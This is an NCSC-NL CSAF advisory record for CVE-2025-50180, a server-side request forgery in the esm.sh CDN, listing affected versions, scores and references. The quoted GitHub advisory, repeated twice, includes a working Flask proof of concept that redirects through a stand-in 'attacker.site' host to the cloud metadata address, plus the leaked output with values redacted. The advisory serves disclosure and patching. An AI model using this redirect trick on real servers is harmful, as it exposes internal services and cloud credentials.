{ "document": { "category": "csaf_base", "csaf_version": "2.0", "distribution": { "tlp": { "label": "WHITE" } }, "lang": "en", "notes": [ { "category": "legal_disclaimer", "text": "The Netherlands Cyber Security Center (henceforth: NCSC-NL) maintains this portal to enhance access to its information and vulnerabilities. The use of this information is subject to the following terms and conditions:\n\nThe vulnerabilities disclosed in this portal are gathered by NCSC-NL from a variety of open sources, which the user can retrieve from other platforms. NCSC-NL makes every reasonable effort to ensure that the content of this portal is kept up to date, and that it is accurate and complete. Nevertheless, NCSC-NL cannot entirely rule out the possibility of errors, and therefore cannot give any warranty in respect of its completeness, accuracy or real-time keeping up-to-date. NCSC-NL does not control nor guarantee the accuracy, relevance, timeliness or completeness of information obtained from these external sources. The vulnerabilities disclosed in this portal are intended solely for the convenience of professional parties to take appropriate measures to manage the risks posed to the cybersecurity. No rights can be derived from the information provided therein.\n\nNCSC-NL and the Kingdom of the Netherlands assume no legal liability or responsibility for any damage resulting from either the use or inability of use of the vulnerabilities disclosed in this portal. This includes damage resulting from the inaccuracy of incompleteness of the information contained in it.\nThe information on this page is subject to Dutch law. All disputes related to or arising from the use of this portal regarding the disclosure of vulnerabilities will be submitted to the competent court in The Hague. This choice of means also applies to the court in summary proceedings." } ], "publisher": { "category": "coordinator", "contact_details": "cert@ncsc.nl", "name": "National Cyber Security Centre", "namespace": "https://www.ncsc.nl/" }, "title": "CVE-2025-50180", "tracking": { "current_release_date": "2026-03-27T20:46:19.320057Z", "generator": { "date": "2026-02-17T15:00:00Z", "engine": { "name": "V.E.L.M.A", "version": "1.7" } }, "id": "CVE-2025-50180", "initial_release_date": "2026-02-25T15:40:17.258135Z", "revision_history": [ { "date": "2026-02-25T15:40:17.258135Z", "number": "1", "summary": "CVE created.| Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (5).| CWES updated (1)." }, { "date": "2026-02-25T15:40:22.601265Z", "number": "2", "summary": "NCSC Score created." }, { "date": "2026-02-25T16:29:52.115727Z", "number": "3", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| References created (6).| CWES updated (1)." }, { "date": "2026-02-25T16:29:54.892427Z", "number": "4", "summary": "NCSC Score updated." }, { "date": "2026-02-25T16:56:10.660214Z", "number": "5", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (1).| References created (6).| CWES updated (1)." }, { "date": "2026-02-25T16:56:13.225555Z", "number": "6", "summary": "NCSC Score updated." }, { "date": "2026-02-25T18:12:34.058077Z", "number": "7", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (1).| References created (4).| CWES updated (1)." }, { "date": "2026-02-26T00:12:43.643741Z", "number": "8", "summary": "Source created.| CVE status created. (valid)| Description created for source.| References created (4)." }, { "date": "2026-02-26T01:13:46.465530Z", "number": "9", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products connected (98).| References created (8).| CWES updated (1)." }, { "date": "2026-02-26T14:18:56.645719Z", "number": "10", "summary": "Source created.| CVE status created. (valid)| EPSS created." }, { "date": "2026-02-27T18:25:31.550711Z", "number": "11", "summary": "CVSS created.| Products created (1).| Product Identifiers created (1).| Exploits created (1)." }, { "date": "2026-02-27T18:25:33.708242Z", "number": "12", "summary": "NCSC Score updated." }, { "date": "2026-02-27T18:38:55.405457Z", "number": "13", "summary": "Unknown change." }, { "date": "2026-02-27T21:39:46.409605Z", "number": "14", "summary": "References created (3)." }, { "date": "2026-02-28T12:12:54.836878Z", "number": "15", "summary": "References created (3)." }, { "date": "2026-03-01T10:08:01.898795Z", "number": "16", "summary": "Products connected (2)." }, { "date": "2026-03-20T08:26:40.114715Z", "number": "17", "summary": "Source connected.| CVE status created. (valid)| EPSS created." }, { "date": "2026-03-27T19:49:12.014387Z", "number": "18", "summary": "Source created.| CVE status created. (valid)| Description created for source.| CVSS created.| Products created (2).| References created (9).| CWES updated (1)." }, { "date": "2026-03-27T19:49:19.423404Z", "number": "19", "summary": "NCSC Score updated." } ], "status": "interim", "version": "19" } }, "product_tree": { "branches": [ { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/<137", "product": { "name": "vers:unknown/<137", "product_id": "CSAFPID-5736016", "product_identification_helper": { "cpe": "cpe:2.3:a:esm:esm.sh:*:*:*:*:*:*:*:*" } } } ], "category": "product_name", "name": "esm.sh" } ], "category": "vendor", "name": "esm" }, { "branches": [ { "branches": [ { "category": "product_version_range", "name": "vers:unknown/136", "product": { "name": "vers:unknown/136", "product_id": "CSAFPID-3122903" } }, { "category": "product_version_range", "name": "vers:unknown/>=0|<0.0.0-20250616164159-0593516c4cfa", "product": { "name": "vers:unknown/>=0|<0.0.0-20250616164159-0593516c4cfa", "product_id": "CSAFPID-5707716" } }, { "category": "product_version_range", "name": "vers:unknown/v100", "product": { "name": "vers:unknown/v100", "product_id": "CSAFPID-5051501" } }, { "category": "product_version_range", "name": "vers:unknown/v101", "product": { "name": "vers:unknown/v101", "product_id": "CSAFPID-5051502" } }, { "category": "product_version_range", "name": "vers:unknown/v102", "product": { "name": "vers:unknown/v102", "product_id": "CSAFPID-5051503" } }, { "category": "product_version_range", "name": "vers:unknown/v103", "product": { "name": "vers:unknown/v103", "product_id": "CSAFPID-5051504" } }, { "category": "product_version_range", "name": "vers:unknown/v104", "product": { "name": "vers:unknown/v104", "product_id": "CSAFPID-5051505" } }, { "category": "product_version_range", "name": "vers:unknown/v105", "product": { "name": "vers:unknown/v105", "product_id": "CSAFPID-5051506" } }, { "category": "product_version_range", "name": "vers:unknown/v106", "product": { "name": "vers:unknown/v106", "product_id": "CSAFPID-5051507" } }, { "category": "product_version_range", "name": "vers:unknown/v107", "product": { "name": "vers:unknown/v107", "product_id": "CSAFPID-5051508" } }, { "category": "product_version_range", "name": "vers:unknown/v108", "product": { "name": "vers:unknown/v108", "product_id": "CSAFPID-5051509" } }, { "category": "product_version_range", "name": "vers:unknown/v109", "product": { "name": "vers:unknown/v109", "product_id": "CSAFPID-5051510" } }, { "category": "product_version_range", "name": "vers:unknown/v110", "product": { "name": "vers:unknown/v110", "product_id": "CSAFPID-5051511" } }, { "category": "product_version_range", "name": "vers:unknown/v111", "product": { "name": "vers:unknown/v111", "product_id": "CSAFPID-5051512" } }, { "category": "product_version_range", "name": "vers:unknown/v112", "product": { "name": "vers:unknown/v112", "product_id": "CSAFPID-5051513" } }, { "category": "product_version_range", "name": "vers:unknown/v113", "product": { "name": "vers:unknown/v113", "product_id": "CSAFPID-5051514" } }, { "category": "product_version_range", "name": "vers:unknown/v114", "product": { "name": "vers:unknown/v114", "product_id": "CSAFPID-5051515" } }, { "category": "product_version_range", "name": "vers:unknown/v115", "product": { "name": "vers:unknown/v115", "product_id": "CSAFPID-5051516" } }, { "category": "product_version_range", "name": "vers:unknown/v116", "product": { "name": "vers:unknown/v116", "product_id": "CSAFPID-5051517" } }, { "category": "product_version_range", "name": "vers:unknown/v117", "product": { "name": "vers:unknown/v117", "product_id": "CSAFPID-5051518" } }, { "category": "product_version_range", "name": "vers:unknown/v119", "product": { "name": "vers:unknown/v119", "product_id": "CSAFPID-5051519" } }, { "category": "product_version_range", "name": "vers:unknown/v120", "product": { "name": "vers:unknown/v120", "product_id": "CSAFPID-5051520" } }, { "category": "product_version_range", "name": "vers:unknown/v121", "product": { "name": "vers:unknown/v121", "product_id": "CSAFPID-5051521" } }, { "category": "product_version_range", "name": "vers:unknown/v122", "product": { "name": "vers:unknown/v122", "product_id": "CSAFPID-5051522" } }, { "category": "product_version_range", "name": "vers:unknown/v123", "product": { "name": "vers:unknown/v123", "product_id": "CSAFPID-5051523" } }, { "category": "product_version_range", "name": "vers:unknown/v124", "product": { "name": "vers:unknown/v124", "product_id": "CSAFPID-5051524" } }, { "category": "product_version_range", "name": "vers:unknown/v125", "product": { "name": "vers:unknown/v125", "product_id": "CSAFPID-5051525" } }, { "category": "product_version_range", "name": "vers:unknown/v126", "product": { "name": "vers:unknown/v126", "product_id": "CSAFPID-5051526" } }, { "category": "product_version_range", "name": "vers:unknown/v127", "product": { "name": "vers:unknown/v127", "product_id": "CSAFPID-5051527" } }, { "category": "product_version_range", "name": "vers:unknown/v128", "product": { "name": "vers:unknown/v128", "product_id": "CSAFPID-5051528" } }, { "category": "product_version_range", "name": "vers:unknown/v129", "product": { "name": "vers:unknown/v129", "product_id": "CSAFPID-5051529" } }, { "category": "product_version_range", "name": "vers:unknown/v130", "product": { "name": "vers:unknown/v130", "product_id": "CSAFPID-5051530" } }, { "category": "product_version_range", "name": "vers:unknown/v131", "product": { "name": "vers:unknown/v131", "product_id": "CSAFPID-5051531" } }, { "category": "product_version_range", "name": "vers:unknown/v132", "product": { "name": "vers:unknown/v132", "product_id": "CSAFPID-5051532" } }, { "category": "product_version_range", "name": "vers:unknown/v133", "product": { "name": "vers:unknown/v133", "product_id": "CSAFPID-5051533" } }, { "category": "product_version_range", "name": "vers:unknown/v134", "product": { "name": "vers:unknown/v134", "product_id": "CSAFPID-5051534" } }, { "category": "product_version_range", "name": "vers:unknown/v135", "product": { "name": "vers:unknown/v135", "product_id": "CSAFPID-5051535" } }, { "category": "product_version_range", "name": "vers:unknown/v135_1", "product": { "name": "vers:unknown/v135_1", "product_id": "CSAFPID-5051536" } }, { "category": "product_version_range", "name": "vers:unknown/v136", "product": { "name": "vers:unknown/v136", "product_id": "CSAFPID-5051537" } }, { "category": "product_version_range", "name": "vers:unknown/v136_1", "product": { "name": "vers:unknown/v136_1", "product_id": "CSAFPID-5449463" } }, { "category": "product_version_range", "name": "vers:unknown/v137", "product": { "name": "vers:unknown/v137", "product_id": "CSAFPID-5721710" } }, { "category": "product_version_range", "name": "vers:unknown/v34", "product": { "name": "vers:unknown/v34", "product_id": "CSAFPID-5051538" } }, { "category": "product_version_range", "name": "vers:unknown/v35", "product": { "name": "vers:unknown/v35", "product_id": "CSAFPID-5051539" } }, { "category": "product_version_range", "name": "vers:unknown/v37", "product": { "name": "vers:unknown/v37", "product_id": "CSAFPID-5051540" } }, { "category": "product_version_range", "name": "vers:unknown/v38", "product": { "name": "vers:unknown/v38", "product_id": "CSAFPID-5051541" } }, { "category": "product_version_range", "name": "vers:unknown/v39", "product": { "name": "vers:unknown/v39", "product_id": "CSAFPID-5051542" } }, { "category": "product_version_range", "name": "vers:unknown/v40", "product": { "name": "vers:unknown/v40", "product_id": "CSAFPID-5051543" } }, { "category": "product_version_range", "name": "vers:unknown/v41", "product": { "name": "vers:unknown/v41", "product_id": "CSAFPID-5051544" } }, { "category": "product_version_range", "name": "vers:unknown/v43", "product": { "name": "vers:unknown/v43", "product_id": "CSAFPID-5051545" } }, { "category": "product_version_range", "name": "vers:unknown/v44", "product": { "name": "vers:unknown/v44", "product_id": "CSAFPID-5051546" } }, { "category": "product_version_range", "name": "vers:unknown/v45", "product": { "name": "vers:unknown/v45", "product_id": "CSAFPID-5051547" } }, { "category": "product_version_range", "name": "vers:unknown/v46", "product": { "name": "vers:unknown/v46", "product_id": "CSAFPID-5051548" } }, { "category": "product_version_range", "name": "vers:unknown/v47", "product": { "name": "vers:unknown/v47", "product_id": "CSAFPID-5051549" } }, { "category": "product_version_range", "name": "vers:unknown/v49", "product": { "name": "vers:unknown/v49", "product_id": "CSAFPID-5051550" } }, { "category": "product_version_range", "name": "vers:unknown/v50", "product": { "name": "vers:unknown/v50", "product_id": "CSAFPID-5051551" } }, { "category": "product_version_range", "name": "vers:unknown/v51", "product": { "name": "vers:unknown/v51", "product_id": "CSAFPID-5051552" } }, { "category": "product_version_range", "name": "vers:unknown/v52", "product": { "name": "vers:unknown/v52", "product_id": "CSAFPID-5051553" } }, { "category": "product_version_range", "name": "vers:unknown/v53", "product": { "name": "vers:unknown/v53", "product_id": "CSAFPID-5051554" } }, { "category": "product_version_range", "name": "vers:unknown/v55", "product": { "name": "vers:unknown/v55", "product_id": "CSAFPID-5051555" } }, { "category": "product_version_range", "name": "vers:unknown/v56", "product": { "name": "vers:unknown/v56", "product_id": "CSAFPID-5051556" } }, { "category": "product_version_range", "name": "vers:unknown/v57", "product": { "name": "vers:unknown/v57", "product_id": "CSAFPID-5051557" } }, { "category": "product_version_range", "name": "vers:unknown/v59", "product": { "name": "vers:unknown/v59", "product_id": "CSAFPID-5051558" } }, { "category": "product_version_range", "name": "vers:unknown/v60", "product": { "name": "vers:unknown/v60", "product_id": "CSAFPID-5051559" } }, { "category": "product_version_range", "name": "vers:unknown/v61", "product": { "name": "vers:unknown/v61", "product_id": "CSAFPID-5051560" } }, { "category": "product_version_range", "name": "vers:unknown/v62", "product": { "name": "vers:unknown/v62", "product_id": "CSAFPID-5051561" } }, { "category": "product_version_range", "name": "vers:unknown/v63", "product": { "name": "vers:unknown/v63", "product_id": "CSAFPID-5051562" } }, { "category": "product_version_range", "name": "vers:unknown/v64", "product": { "name": "vers:unknown/v64", "product_id": "CSAFPID-5051563" } }, { "category": "product_version_range", "name": "vers:unknown/v65", "product": { "name": "vers:unknown/v65", "product_id": "CSAFPID-5051564" } }, { "category": "product_version_range", "name": "vers:unknown/v66", "product": { "name": "vers:unknown/v66", "product_id": "CSAFPID-5051565" } }, { "category": "product_version_range", "name": "vers:unknown/v67", "product": { "name": "vers:unknown/v67", "product_id": "CSAFPID-5051566" } }, { "category": "product_version_range", "name": "vers:unknown/v68", "product": { "name": "vers:unknown/v68", "product_id": "CSAFPID-5051567" } }, { "category": "product_version_range", "name": "vers:unknown/v69", "product": { "name": "vers:unknown/v69", "product_id": "CSAFPID-5051568" } }, { "category": "product_version_range", "name": "vers:unknown/v70", "product": { "name": "vers:unknown/v70", "product_id": "CSAFPID-5051569" } }, { "category": "product_version_range", "name": "vers:unknown/v71", "product": { "name": "vers:unknown/v71", "product_id": "CSAFPID-5051570" } }, { "category": "product_version_range", "name": "vers:unknown/v72", "product": { "name": "vers:unknown/v72", "product_id": "CSAFPID-5051571" } }, { "category": "product_version_range", "name": "vers:unknown/v73", "product": { "name": "vers:unknown/v73", "product_id": "CSAFPID-5051572" } }, { "category": "product_version_range", "name": "vers:unknown/v74", "product": { "name": "vers:unknown/v74", "product_id": "CSAFPID-5051573" } }, { "category": "product_version_range", "name": "vers:unknown/v75", "product": { "name": "vers:unknown/v75", "product_id": "CSAFPID-5051574" } }, { "category": "product_version_range", "name": "vers:unknown/v76", "product": { "name": "vers:unknown/v76", "product_id": "CSAFPID-5051575" } }, { "category": "product_version_range", "name": "vers:unknown/v77", "product": { "name": "vers:unknown/v77", "product_id": "CSAFPID-5051576" } }, { "category": "product_version_range", "name": "vers:unknown/v78", "product": { "name": "vers:unknown/v78", "product_id": "CSAFPID-5051577" } }, { "category": "product_version_range", "name": "vers:unknown/v79", "product": { "name": "vers:unknown/v79", "product_id": "CSAFPID-5051578" } }, { "category": "product_version_range", "name": "vers:unknown/v80", "product": { "name": "vers:unknown/v80", "product_id": "CSAFPID-5051579" } }, { "category": "product_version_range", "name": "vers:unknown/v81", "product": { "name": "vers:unknown/v81", "product_id": "CSAFPID-5051580" } }, { "category": "product_version_range", "name": "vers:unknown/v82", "product": { "name": "vers:unknown/v82", "product_id": "CSAFPID-5051581" } }, { "category": "product_version_range", "name": "vers:unknown/v83", "product": { "name": "vers:unknown/v83", "product_id": "CSAFPID-5051582" } }, { "category": "product_version_range", "name": "vers:unknown/v84", "product": { "name": "vers:unknown/v84", "product_id": "CSAFPID-5051583" } }, { "category": "product_version_range", "name": "vers:unknown/v85", "product": { "name": "vers:unknown/v85", "product_id": "CSAFPID-5051584" } }, { "category": "product_version_range", "name": "vers:unknown/v86", "product": { "name": "vers:unknown/v86", "product_id": "CSAFPID-5051585" } }, { "category": "product_version_range", "name": "vers:unknown/v87", "product": { "name": "vers:unknown/v87", "product_id": "CSAFPID-5051586" } }, { "category": "product_version_range", "name": "vers:unknown/v88", "product": { "name": "vers:unknown/v88", "product_id": "CSAFPID-5051587" } }, { "category": "product_version_range", "name": "vers:unknown/v89", "product": { "name": "vers:unknown/v89", "product_id": "CSAFPID-5051588" } }, { "category": "product_version_range", "name": "vers:unknown/v90", "product": { "name": "vers:unknown/v90", "product_id": "CSAFPID-5051589" } }, { "category": "product_version_range", "name": "vers:unknown/v91", "product": { "name": "vers:unknown/v91", "product_id": "CSAFPID-5051590" } }, { "category": "product_version_range", "name": "vers:unknown/v92", "product": { "name": "vers:unknown/v92", "product_id": "CSAFPID-5051591" } }, { "category": "product_version_range", "name": "vers:unknown/v93", "product": { "name": "vers:unknown/v93", "product_id": "CSAFPID-5051592" } }, { "category": "product_version_range", "name": "vers:unknown/v94", "product": { "name": "vers:unknown/v94", "product_id": "CSAFPID-5051593" } }, { "category": "product_version_range", "name": "vers:unknown/v95", "product": { "name": "vers:unknown/v95", "product_id": "CSAFPID-5051594" } }, { "category": "product_version_range", "name": "vers:unknown/v96", "product": { "name": "vers:unknown/v96", "product_id": "CSAFPID-5051595" } }, { "category": "product_version_range", "name": "vers:unknown/v97", "product": { "name": "vers:unknown/v97", "product_id": "CSAFPID-5051596" } }, { "category": "product_version_range", "name": "vers:unknown/v98", "product": { "name": "vers:unknown/v98", "product_id": "CSAFPID-5051597" } }, { "category": "product_version_range", "name": "vers:unknown/v99", "product": { "name": "vers:unknown/v99", "product_id": "CSAFPID-5051598" } } ], "category": "product_name", "name": "esm.sh" }, { "branches": [ { "category": "product_version_range", "name": "vers:unknown/0.0.0-20250616164159-0593516c4cfa", "product": { "name": "vers:unknown/0.0.0-20250616164159-0593516c4cfa", "product_id": "CSAFPID-5944635" } }, { "category": "product_version_range", "name": "vers:unknown/<0.0.0-20250616164159-0593516c4cfa", "product": { "name": "vers:unknown/<0.0.0-20250616164159-0593516c4cfa", "product_id": "CSAFPID-5944636" } } ], "category": "product_name", "name": "go/github.com/esm-dev/esm.sh" } ], "category": "vendor", "name": "esm-dev" } ] }, "vulnerabilities": [ { "cve": "CVE-2025-50180", "cwe": { "id": "CWE-918", "name": "Server-Side Request Forgery (SSRF)" }, "notes": [ { "category": "description", "text": "### Summary\n\nesh.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability.\n\n### Details\n\nVulnerable code location: https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511\n\nIf the internal address has a suffix listed below, the attacker can obtain content from the specified internal address.\n\neg: https://esm.sh/https://local.site/test.md\n\n```\n\".js\", \".ts\", \".mjs\", \".mts\", \".jsx\", \".tsx\", \".cjs\", \".cts\", \".vue\", \".svelte\", \".md\", \".css\"\n```\n\nA 302 redirect can be used to bypass the suffix restriction.\n\neg: https://esm.sh/https://attacker.site/test.md \n\nhttps://attacker.site/test.md 302 redirect to http://169.254.169.254/v1.json\n\n### PoC\n\nUse Flask to start a server that returns a 302 redirect.\n\n```python\nfrom flask import Flask, redirect\n\napp = Flask(__name__)\n\n@app.route('/test.md')\ndef redirect_test():\n return redirect(\"http://169.254.169.254/v1.json\", code=302)\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=80)\n```\n\nLet esh.sh visit this site.\n\nhttps://esm.sh/https://attacker.site/test.md\n\nAttacker can obtain data from http://169.254.169.254/v1.json.\n\n```\nvar t=`

{"bgp":{"ipv4":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""},"ipv6":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""}},"hostname":"****","instance-v2-id":"****","instanceid":"****","interfaces":[{"ipv4":{"additional":[],"address":"****","gateway":"****","netmask":"****","routes":[{"netmask":32,"network":"****"}]},"ipv6":{"additional":[],"address":"****","network":"****","prefix":"64"},"mac":"****","network-type":"public"}],"nvidia-driver":[],"public-keys":["****"],"region":{"countrycode":"US","regioncode":"SJC"},"tags":[]}

\n`,o={},u=t;export{u as default,t as html,o as meta};\n```\n\nDecode the data (redacted) .\n\n```json\n{\"bgp\":{\"ipv4\":{\"my-address\":\"\",\"my-asn\":\"\",\"peer-address\":\"\",\"peer-asn\":\"\"},\"ipv6\":{\"my-address\":\"\",\"my-asn\":\"\",\"peer-address\":\"\",\"peer-asn\":\"\"}},\"hostname\":\"****\",\"instance-v2-id\":\"****\",\"instanceid\":\"****\",\"interfaces\":[{\"ipv4\":{\"additional\":[],\"address\":\"****\",\"gateway\":\"****\",\"netmask\":\"****\",\"routes\":[{\"netmask\":32,\"network\":\"****\"}]},\"ipv6\":{\"additional\":[],\"address\":\"****\",\"network\":\"****\",\"prefix\":\"64\"},\"mac\":\"****\",\"network-type\":\"public\"}],\"nvidia-driver\":[],\"public-keys\":[\"****\"],\"region\":{\"countrycode\":\"US\",\"regioncode\":\"SJC\"},\"tags\":[]}\n```\n\n### Impact\n\nAn attacker can exploit the vulnerability to access internal sites, and in a cloud environment, can retrieve access keys (AK) and secret keys (SK) by accessing the metadata service address.\n\n### Fix\n\nIt is recommended to use `safeurl.Client` as a replacement for `http.Client`.\n\nhttps://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13\n\nhttps://github.com/doyensec/safeurl", "title": "github - https://github.com/advisories/GHSA-3c9r-837r-qqm4" }, { "category": "description", "text": "esm.sh is a no-build content delivery network (CDN) for web development. In version 136, esm.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability. Version 137 fixes the vulnerability.", "title": "nvd - https://nvd.nist.gov/vuln/detail/CVE-2025-50180" }, { "category": "description", "text": "esm.sh is a no-build content delivery network (CDN) for web development. In version 136, esm.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability. Version 137 fixes the vulnerability.", "title": "cveprojectv5 - https://www.cve.org/CVERecord?id=CVE-2025-50180" }, { "category": "description", "text": "### Summary\n\nesh.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability.\n\n### Details\n\nVulnerable code location: https://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/server/router.go#L511\n\nIf the internal address has a suffix listed below, the attacker can obtain content from the specified internal address.\n\neg: https://esm.sh/https://local.site/test.md\n\n```\n\".js\", \".ts\", \".mjs\", \".mts\", \".jsx\", \".tsx\", \".cjs\", \".cts\", \".vue\", \".svelte\", \".md\", \".css\"\n```\n\nA 302 redirect can be used to bypass the suffix restriction.\n\neg: https://esm.sh/https://attacker.site/test.md \n\nhttps://attacker.site/test.md 302 redirect to http://169.254.169.254/v1.json\n\n### PoC\n\nUse Flask to start a server that returns a 302 redirect.\n\n```python\nfrom flask import Flask, redirect\n\napp = Flask(__name__)\n\n@app.route('/test.md')\ndef redirect_test():\n return redirect(\"http://169.254.169.254/v1.json\", code=302)\n\nif __name__ == '__main__':\n app.run(host='0.0.0.0', port=80)\n```\n\nLet esh.sh visit this site.\n\nhttps://esm.sh/https://attacker.site/test.md\n\nAttacker can obtain data from http://169.254.169.254/v1.json.\n\n```\nvar t=`

{"bgp":{"ipv4":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""},"ipv6":{"my-address":"","my-asn":"","peer-address":"","peer-asn":""}},"hostname":"****","instance-v2-id":"****","instanceid":"****","interfaces":[{"ipv4":{"additional":[],"address":"****","gateway":"****","netmask":"****","routes":[{"netmask":32,"network":"****"}]},"ipv6":{"additional":[],"address":"****","network":"****","prefix":"64"},"mac":"****","network-type":"public"}],"nvidia-driver":[],"public-keys":["****"],"region":{"countrycode":"US","regioncode":"SJC"},"tags":[]}

\n`,o={},u=t;export{u as default,t as html,o as meta};\n```\n\nDecode the data (redacted) .\n\n```json\n{\"bgp\":{\"ipv4\":{\"my-address\":\"\",\"my-asn\":\"\",\"peer-address\":\"\",\"peer-asn\":\"\"},\"ipv6\":{\"my-address\":\"\",\"my-asn\":\"\",\"peer-address\":\"\",\"peer-asn\":\"\"}},\"hostname\":\"****\",\"instance-v2-id\":\"****\",\"instanceid\":\"****\",\"interfaces\":[{\"ipv4\":{\"additional\":[],\"address\":\"****\",\"gateway\":\"****\",\"netmask\":\"****\",\"routes\":[{\"netmask\":32,\"network\":\"****\"}]},\"ipv6\":{\"additional\":[],\"address\":\"****\",\"network\":\"****\",\"prefix\":\"64\"},\"mac\":\"****\",\"network-type\":\"public\"}],\"nvidia-driver\":[],\"public-keys\":[\"****\"],\"region\":{\"countrycode\":\"US\",\"regioncode\":\"SJC\"},\"tags\":[]}\n```\n\n### Impact\n\nAn attacker can exploit the vulnerability to access internal sites, and in a cloud environment, can retrieve access keys (AK) and secret keys (SK) by accessing the metadata service address.\n\n### Fix\n\nIt is recommended to use `safeurl.Client` as a replacement for `http.Client`.\n\nhttps://github.com/esm-dev/esm.sh/blob/f80ff8c8d58749e77fa964abde468fc61f8bd89e/internal/fetch/fetch.go#L13\n\nhttps://github.com/doyensec/safeurl", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-3c9r-837r-qqm4.json?alt=media" }, { "category": "description", "text": "esm.sh is vulnerable to full-response SSRF in github.com/esm-dev/esm.sh", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGO-2026-4545.json?alt=media" }, { "category": "description", "text": "esm.sh is a no-build content delivery network (CDN) for web development. In version 136, esm.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability. Version 137 fixes the vulnerability.", "title": "osv - https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/GIT%2FCVE-2025-50180.json?alt=media" }, { "category": "description", "text": "esh.sh is vulnerable to a full-response SSRF, allowing an attacker to retrieve information from internal websites through the vulnerability.", "title": "gitlab - https://gitlab.com/api/v4/projects/25847700/repository/files/go%2Fgithub.com%2Fesm-dev%2Fesm.sh%2FCVE-2025-50180.yml/raw" }, { "category": "other", "text": "0.00042", "title": "EPSS" }, { "category": "other", "text": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:H/VA:N/SC:N/SI:N/SA:N", "title": "CVSSV4" }, { "category": "other", "text": "8.7", "title": "CVSSV4 base score" }, { "category": "other", "text": "3.6", "title": "NCSC Score" }, { "category": "other", "text": "Exploit code publicly available, There is exploit data available from source Nvd", "title": "NCSC Score top decreasing factors" } ], "product_status": { "fixed": [ "CSAFPID-5944635" ], "known_affected": [ "CSAFPID-3122903", "CSAFPID-5707716", "CSAFPID-5051501", "CSAFPID-5051502", "CSAFPID-5051503", "CSAFPID-5051504", "CSAFPID-5051505", "CSAFPID-5051506", "CSAFPID-5051507", "CSAFPID-5051508", "CSAFPID-5051509", "CSAFPID-5051510", "CSAFPID-5051511", "CSAFPID-5051512", "CSAFPID-5051513", "CSAFPID-5051514", "CSAFPID-5051515", "CSAFPID-5051516", "CSAFPID-5051517", "CSAFPID-5051518", "CSAFPID-5051519", "CSAFPID-5051520", "CSAFPID-5051521", "CSAFPID-5051522", "CSAFPID-5051523", "CSAFPID-5051524", "CSAFPID-5051525", "CSAFPID-5051526", "CSAFPID-5051527", "CSAFPID-5051528", "CSAFPID-5051529", "CSAFPID-5051530", "CSAFPID-5051531", "CSAFPID-5051532", "CSAFPID-5051533", "CSAFPID-5051534", "CSAFPID-5051535", "CSAFPID-5051536", "CSAFPID-5051537", "CSAFPID-5051538", "CSAFPID-5051539", "CSAFPID-5051540", "CSAFPID-5051541", "CSAFPID-5051542", "CSAFPID-5051543", "CSAFPID-5051544", "CSAFPID-5051545", "CSAFPID-5051546", "CSAFPID-5051547", "CSAFPID-5051548", "CSAFPID-5051549", "CSAFPID-5051550", "CSAFPID-5051551", "CSAFPID-5051552", "CSAFPID-5051553", "CSAFPID-5051554", "CSAFPID-5051555", "CSAFPID-5051556", "CSAFPID-5051557", "CSAFPID-5051558", "CSAFPID-5051559", "CSAFPID-5051560", "CSAFPID-5051561", "CSAFPID-5051562", "CSAFPID-5051563", "CSAFPID-5051564", "CSAFPID-5051565", "CSAFPID-5051566", "CSAFPID-5051567", "CSAFPID-5051568", "CSAFPID-5051569", "CSAFPID-5051570", "CSAFPID-5051571", "CSAFPID-5051572", "CSAFPID-5051573", "CSAFPID-5051574", "CSAFPID-5051575", "CSAFPID-5051576", "CSAFPID-5051577", "CSAFPID-5051578", "CSAFPID-5051579", "CSAFPID-5051580", "CSAFPID-5051581", "CSAFPID-5051582", "CSAFPID-5051583", "CSAFPID-5051584", "CSAFPID-5051585", "CSAFPID-5051586", "CSAFPID-5051587", "CSAFPID-5051588", "CSAFPID-5051589", "CSAFPID-5051590", "CSAFPID-5051591", "CSAFPID-5051592", "CSAFPID-5051593", "CSAFPID-5051594", "CSAFPID-5051595", "CSAFPID-5051596", "CSAFPID-5051597", "CSAFPID-5051598", "CSAFPID-5736016", "CSAFPID-5449463", "CSAFPID-5721710", "CSAFPID-5944636" ] }, "references": [ { "category": "external", "summary": "Source - github", "url": "https://github.com/advisories/GHSA-3c9r-837r-qqm4" }, { "category": "external", "summary": "Source raw - github", "url": "https://api.github.com/advisories/GHSA-3c9r-837r-qqm4" }, { "category": "external", "summary": "Source - nvd", "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-50180" }, { "category": "external", "summary": "Source raw - nvd", "url": "https://services.nvd.nist.gov/rest/json/cves/2.0?cveId=CVE-2025-50180" }, { "category": "external", "summary": "Source - cveprojectv5", "url": "https://www.cve.org/CVERecord?id=CVE-2025-50180" }, { "category": "external", "summary": "Source raw - cveprojectv5", "url": "https://raw.githubusercontent.com/CVEProject/cvelistV5/main/cves/2025/50xxx/CVE-2025-50180.json" }, { "category": "external", "summary": "Source - osv", "url": "https://www.googleapis.com/download/storage/v1/b/osv-vulnerabilities/o/Go%2FGHSA-3c9r-837r-qqm4.json?alt=media" }, { "category": "external", "summary": "Source - osv", "url": 